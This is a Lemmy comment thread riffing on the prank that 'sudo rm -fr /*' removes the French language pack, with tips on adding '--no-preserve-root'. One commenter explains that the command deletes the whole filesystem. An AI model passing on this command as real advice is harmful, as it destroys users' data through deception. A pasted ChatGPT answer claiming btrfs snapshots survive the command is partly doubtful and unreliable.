• N3Cr0@lemmy.worldOP
    link
    fedilink
    arrow-up
    106
    arrow-down
    1
    ·
    12 days ago

    Pro tip: Omit the dot . before the / to make sure you cleansed the language pack thoroughly.

    • Barbarian@sh.itjust.works
      link
      fedilink
      arrow-up
      29
      ·
      edit-2
      12 days ago

      And to avoid annoying error messages about preserving the root of the language, add a * at the end. Final command should look like this:

      sudo rm -fr /*

      • Mouselemming@sh.itjust.works
        link
        fedilink
        arrow-up
        18
        ·
        12 days ago

        So I know nothing and just wandered in here from Top, but this translates as, “Fuck you, all of you, French language, I show you my butthole,” right?

        • Barbarian@sh.itjust.works
          link
          fedilink
          arrow-up
          49
          arrow-down
          1
          ·
          edit-2
          12 days ago

          No, this is a very old joke that uses the fact the command has “fr” in it to trick people about what the command does. Joking aside, here’s what the command actually does:

          rm is the command to delete files and folders

          -f is the force modifier. This means it’ll keep going even if it encounters problems and just delete as much as it can

          -r is the recursive modifier. That means it’ll go down every folder it sees in the target and delete the contents as well, and delete the contents of folders of folders, etc.

          / is the target. This is the root of the filesystem. If you’re used to Windows, that’s like targeting C:.

          Put it all together, and this command basically deletes your whole filesystem. A safeguard was put in place a while back due to people meming about this and causing newbies to delete their whole system. Now it won’t work unless you put in --no-preserve-root, which tells rm that yes, you really mean it, please delete my whole system.

          /* as the target works around that safeguard, because technically deleting everything in root is not the same as deleting root itself.

      • ggppjj@lemmy.world
        link
        fedilink
        English
        arrow-up
        6
        ·
        12 days ago

        Gotta make sure the root language is removed also. Add --no-preserve-root for that.

  • zorro@lemmy.world
    link
    fedilink
    English
    arrow-up
    33
    arrow-down
    1
    ·
    12 days ago

    Don’t forget to remove the tuber preserves with --no-preserve-root

  • stupidcasey@lemmy.world
    link
    fedilink
    arrow-up
    15
    arrow-down
    1
    ·
    12 days ago

    I thought this was stupid, how much space could a language pack take? Then I tried it and my system is at least %15 faster, turns out there is a bug in the dialogue disseminator preventing matriarchal ascension in the domestic power structure.

    You do have to add —no-preserve-root though.

  • Gork@lemm.ee
    link
    fedilink
    arrow-up
    13
    arrow-down
    1
    ·
    edit-2
    12 days ago

    Ever since Napoleon, the Fr*nch have tried to take over Linux to implement their régime baguette.

  • MrMobius @sh.itjust.works
    link
    fedilink
    arrow-up
    5
    arrow-down
    2
    ·
    12 days ago

    Although I’m French, I still laugh at the stupid memes by the English speaking internet that make fun of my people. Then again, there is a sense of justice in imagining people falling for this. 😁

    • Barbarian@sh.itjust.works
      link
      fedilink
      arrow-up
      19
      ·
      12 days ago

      This is very much the Linux version of the old tricking gamers to alt+F4 gag.

      My favorite was when I was teaching a friend Squad, and we were in a vehicle. I explained you hit the F keys to change seat (which is true), so F1, F2, F3, etc. Noticing that seats 1, 2 and 3 were filled, I then told him he can hold down alt to swap seats faster. He then immediately quits the game xD

      • theangryseal@lemmy.world
        link
        fedilink
        arrow-up
        10
        ·
        12 days ago

        Bro, the Counter-Strike devs put porn in the game. I’m surprised they were all able to get away with it.

        Huh? Oh no, dude it’s easy. Hold alt and press f4 and it brings it up. Then just browse it with the s and d keys.

        Bahahaha! Half the lobby is gone!

    • bluemite@lemmy.world
      link
      fedilink
      arrow-up
      8
      ·
      12 days ago

      How do you think this is making fun of your people? It’s making fun of non-French people that would want to “remove the French language pack” because they’re not French

      • MrMobius @sh.itjust.works
        link
        fedilink
        arrow-up
        4
        ·
        12 days ago

        This is not making fun of french people, but this might trick people who laugh at french people. That made me smile I must admit.

  • photonic_sorcerer@lemmy.dbzer0.com
    link
    fedilink
    English
    arrow-up
    2
    ·
    12 days ago

    My filesystem is btrfs and I’ve got timeshift setup, how hard will this fuck me, if at all? Is there anyway I can be fucked harder? (Asking for a friend)

    • Zozano@lemy.lol
      link
      fedilink
      English
      arrow-up
      3
      ·
      12 days ago

      Depends, are you backing up to another partition or drive?

      If not, you’re pretty fucked.

      • Petter1@lemm.ee
        link
        fedilink
        arrow-up
        1
        ·
        edit-2
        11 days ago

        Aren’t snapshots in btrfs above root?

        Edit: they are in “subvolumes”

        Source: ChatGPT

        On a Btrfs filesystem, running rm -rf /* will attempt to delete everything in the root directory, which includes all files and directories accessible to your permissions. However, Btrfs snapshots are designed to be resistant to regular file deletion commands. Here’s what happens:

        1. Snapshots remain intact: rm -rf /* doesn’t automatically delete snapshots because snapshots are stored in special subvolumes. By default, this command won’t affect subvolumes that are not mounted within the filesystem you’re deleting from.

        2. You would need specific commands to delete snapshots: To delete snapshots on Btrfs, you would typically use a command like btrfs subvolume delete <snapshot> for each snapshot individually, as snapshots are managed by the filesystem and not treated as standard directories.

        3. The data inside the snapshots is preserved: Even if files in the root filesystem are deleted, any data captured in snapshots remains, as snapshots are essentially read-only copies at a certain point in time.

        Important Note: If the snapshots are mounted and accessible in the directory tree where rm -rf /* is run, you could accidentally delete them if the command traverses into the snapshots’ directories. To protect snapshots, administrators often mount them in isolated directories (e.g., /snapshots) or keep them unmounted until explicitly needed.

        In summary, unless you run specific deletion commands for Btrfs subvolumes, snapshots should remain unaffected by rm -rf /* due to the unique way Btrfs manages snapshots.